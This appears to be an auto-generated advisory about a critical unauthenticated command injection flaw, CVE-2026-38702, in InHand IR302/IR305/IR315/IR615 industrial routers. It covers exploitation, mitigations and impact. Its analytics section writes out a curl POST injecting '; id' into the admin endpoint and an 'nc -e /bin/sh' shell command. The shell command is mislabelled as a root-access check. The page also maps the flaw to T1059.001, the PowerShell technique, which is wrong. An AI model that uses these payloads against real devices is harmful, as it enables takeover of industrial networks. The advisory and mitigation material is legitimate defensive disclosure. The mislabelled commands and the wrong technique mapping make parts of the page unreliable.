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A command injection vulnerability (CVE-2026-38702, CWE-77) exists in the Admin Access feature of several InHand Networks industrial routers, including the IR302 (firmware v3.5.108), IR305, IR315, and IR615 (all firmware v1.0.118), as well as all earlier versions. The flaw arises because the Admin Access functionality processes user-supplied input without proper validation or sanitization, directly incorporating it into system commands. This allows an unauthenticated, remote attacker to break out of the intended data context and inject arbitrary operating system commands.
Because the Admin Access component runs with the highest privilege level, any injected command executes with full `root` permissions on the target device. The attack vector is network-based, requires low complexity, and no user interaction, making it trivially exploitable over the internet. The vulnerability maps to the MITRE ATT&CK technique T1059.001 for command and script interpretation. Exploitation could be as simple as crafting a malicious HTTP POST request or injecting shell metacharacters into a vulnerable input field within the administration interface.
The root cause is a systemic input handling failure in the router’s firmware architecture, rather than an isolated bug, implying that the issue may persist across the entire product line. Upon successful exploitation, an attacker gains complete control over the compromised industrial router, enabling them to manipulate network traffic, disable security controls, and use the device as a foothold for further lateral movement into the corporate or operational technology (OT) network. Given the severity and the public disclosure, active scanning and exploitation attempts are highly likely, emphasizing the urgent need for mitigation.
DailyCVE Form:
Platform: InHand IR302/IR305/IR315/IR615
Version: v3.5.108/v1.0.118/earlier
Vulnerability : command injection flaw
Severity: critical (9.8)
date: 2026-05-28
Prediction: 2026-06-11 (vendor)
Analytics under heading What Undercode Say:
Identify vulnerable devices via HTTP response headers curl -I http://<target-ip> | grep -i "server.inhand" Simulate command injection (example for educational purposes) curl -X POST http://<target-ip>/admin/access \ -d "input=valid_data; id" Check for root access after injection nc -v <target-ip> 4444 -e /bin/sh
How Exploit:
CVE-2026-38702 is exploited by sending a specially crafted network request to the Admin Access endpoint. The attacker injects shell metacharacters (e.g., ;, |, &&) along with a malicious command, which is then executed by the underlying system shell with root privileges. No authentication is required, making the attack fully remote and trivial to execute.
Protection from this CVE:
- Immediately patch devices to the latest available firmware version.
- If a patch is unavailable, block all external access to the administration interface (e.g., TCP/80, TCP/443, TCP/22) at the network perimeter.
- Implement network segmentation to place affected routers in isolated management VLANs.
- Deploy intrusion detection signatures that monitor for shell metacharacters in HTTP requests targeting the admin endpoints.
- Disable the remote administration feature if it is not operationally required.
Impact:
Successful exploitation grants an attacker full `root` privileges on the target router, leading to complete device compromise. The attacker can then:
– Execute arbitrary system commands and install persistent backdoors.
– Modify firewall and routing rules to intercept or redirect industrial network traffic.
– Disable logging and security monitoring to hide malicious activity.
– Use the compromised device as a pivot point to gain access to other assets within the industrial control system (ICS) or corporate network, potentially causing production outages or data breaches.
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Sources:
Reported By: nvd.nist.gov
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